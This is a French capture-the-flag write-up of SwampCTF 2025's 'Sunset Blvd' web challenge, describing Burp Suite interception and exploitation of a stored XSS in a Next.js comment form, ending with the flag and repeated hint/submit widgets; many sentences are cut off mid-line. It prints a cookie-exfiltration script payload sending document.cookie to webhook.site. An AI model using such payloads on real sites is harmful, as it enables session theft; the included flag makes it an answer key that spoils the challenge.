Writeup – Sunset Blvd – SwampCTF 2025

Objectif

Ce challenge CTF de type Web Exploitation nous plonge dans une application construite en Next.js. L'objectif est d

1. Analyse initiale de l'application

Des lacces a http://chals.swampctf.com:41218, nous sommes accueillis par une page mettant en avant Nicole Sch

2. Inspection technique avec Burp Suite

Pour mieux comprendre la mecanique derriere ce formulaire, jai intercepte les requetes avec Burp Suite. Lors dun

Premier test de payload XSS

Jai tente dinjecter un script simple dans le champ message :

<script>alert('test')</script>

Puis un payload de type exfiltration :

<script>fetch('https://webhook.site/xxxxxx?cookie=' + document.cookie)</script>

3. Comportement du serveur et erreurs

En observant les reponses du serveur, jai recu des erreurs 500 internes lorsque certains payloads ont ete envoyes

4. Test dun payload minimaliste

Pour comprendre la surface dattaque, jai tente une requete POST avec un corps JSON vide : []

Le serveur a repondu 200 OK, ce qui ma permis de mieux cerner les traitements attendus et les structures accepte

5. Exploitation et recuperation du flag

Le script XSS injecte dans le champ message a ete stocke, puis execute cote client sur la page des commentaires

Flag

flag{br0adw4y_xss_p3rf0rm4nc3}

Conclusion

Ce challenge etait un bon exercice de :

- Comprehension de Next.js et de ses flux text/x-component.
- Analyse de formulaire non-securise.
- Exploitation dune XSS stockee.
- Utilisation doutils comme Burp Suite et Webhook.site pour la preuve de concept.

Il ma permis de mettre en uvre une methodologie offensive realiste, de la reconnaissance a lexploitation complete.

▶ Unlock Hint for 0 points

Flag

Submit

Correct

▶ Unlock Hint for 0 points

Flag

Submit

Correct

▶ Unlock Hint for 0 points

Flag

Submit

Correct

▶ Unlock Hint for 0 points

Flag

Submit

Correct

▶ Unlock Hint for 0 points

Flag

Submit

Correct